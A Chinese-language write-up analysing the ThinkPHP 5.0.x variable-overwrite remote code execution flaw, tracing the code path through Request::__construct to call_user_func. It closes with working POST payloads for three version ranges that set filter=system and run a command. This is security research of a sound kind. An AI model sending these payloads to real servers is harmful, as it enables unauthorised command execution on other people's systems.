Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析
漏洞分析:
跟进在thinkphp\library\think\App.php下的run函数,存在url路由检测函数routeCheck,并赋值给$dispatch
跟进routeCheck中比较重要的检测函数check,会对路由的类型等进行获取
其中通过$request->method()函数来获取请求的类型
method函数中对$method的true与false进行if判断,这里的method是没有传参进来的,所以默认是false,先进入elseif,var_method是表单请求类型伪装变量,可以看到其值为_method
只要post传入_method的值就可以进入if执行语句中,由于_method的值是我们可控的,所以$this->{$this->method}这个所执行的本类函数也就是我们可以自己选择的,而我们传入的__construct的值就让我们执行了Request类中的__construct函数,我们来看一下__construct函数的代码。
1 protected function __construct($options = []) 2 { 3 foreach ($options as $name => $item) { 4 if (property_exists($this, $name)) { 5 $this->$name = $item; 6 } 7 } 8 if (is_null($this->filter)) { 9 $this->filter = Config::get('default_filter'); 10 } 11 // 保存 php://input 12 $this->input = file_get_contents('php://input'); 13 }
之前传入了$_POST,也就是将$_POST赋值给了$options,然后在foreach中完成了对POST提交的数据进行遍历,并通过property_exists函数进行属性是否存在的检测,最后进行赋值,就存在变量覆盖漏洞了。
访问index.php默认调用的模块名/控制器名/操作名是/index/index/index,对应的
$dispatch['type']
为module
跟进module函数,关键在于invokeMethod函数
继续跟进invokeMethod函数下的bindParams函数
跟进bindParams中对参数处理的param函数
最后调用input函数,可以根据$filter默认为""的时候将$this->filter的值赋给$filter,实现变量覆盖
通过array_walk_recursive,应用函数filterValue,最后通过call_user_func来实现RCE
变量覆盖payload总结:
5.0.0~5.0.12 无条件触发
POST / HTTP/1.1 _method=__construct&filter=system&method=GET&a=whoami a可以替换成get[]、route[]或者其他名字
5.0.13~5.0.23 需要有第三方类库 如完整版中的captcha
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=get&get[]=whoami get[]可以换成route[]
5.0.13~5.0.23 需要开启debug
POST / HTTP/1.1 _method=__construct&filter=system&get[]=whoami get[]可以替换成route[]
参考:
https://blog.csdn.net/qq_32727277/article/details/102974288